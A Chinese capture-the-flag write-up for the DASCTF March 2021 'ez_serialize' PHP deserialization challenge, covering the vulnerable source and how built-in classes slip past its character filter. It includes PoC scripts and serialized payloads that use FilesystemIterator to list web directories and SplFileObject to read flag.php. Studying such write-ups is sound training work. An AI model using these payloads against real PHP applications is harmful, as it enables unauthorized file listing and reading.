[DASCTF MAR 2021]ez_serialize
进入题目,给出源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctfer";
echo new $this->class ($this->para);
}
public function __wakeup() // 可以直接绕过__wakeup()方法的执行
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}
}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;
}
这是一道PHP反序列化的题目,题目里面没有给出什么危险的函数调用,因此应该要想到是原生类的利用。留意这一段代码:
public function __wakeup() // 可以直接绕过__wakeup()方法的执行
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}
我们从反序列化的__wakeup()
函数入手,看到新建了一个C的类对象,然后使用C类里面的check()
方法对$para
和$class
这两个属性进行检查,看是否存在非法的字符,没有问题之后就使用echo new $this->class ($this->para);
语句将新建类返回的内容输出。
目录遍历类
首先利用DirectoryIterator或FilesystemIterator类去遍历目标的Web目录:
<?php
class A{
public $class='FilesystemIterator';
// FilesystemIterator("/var/www/html")
public $para="/var/www/html/";
public $check;
}
$poc = new A();
echo serialize($poc);
得到payload:
O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:14:"/var/www/html/";s:5:"check";N;}
执行后得到一个文件夹 aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE
继续往下找:
<?php
class A{
public $class='FilesystemIterator';
// FilesystemIterator("/var/www/html/aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE")
public $para="/var/www/html/";
public $check;
}
$poc = new A();
echo serialize($poc);
在这个文件夹下找到了flag.php
文件读取类
然后我们使用 SplFileObject 类读取flag.php就行了:
<?php
class A{
public $class='SplFileObject';
// SplFileObject("/var/www/html/aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE/flag.php")
public $para="/var/www/html/aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE/flag.php";
public $check;
}
$poc = new A();
echo serialize($poc);
得到payload:
O:1:"A":3:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:55:"/var/www/html/aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE/flag.php";s:5:"check";N;}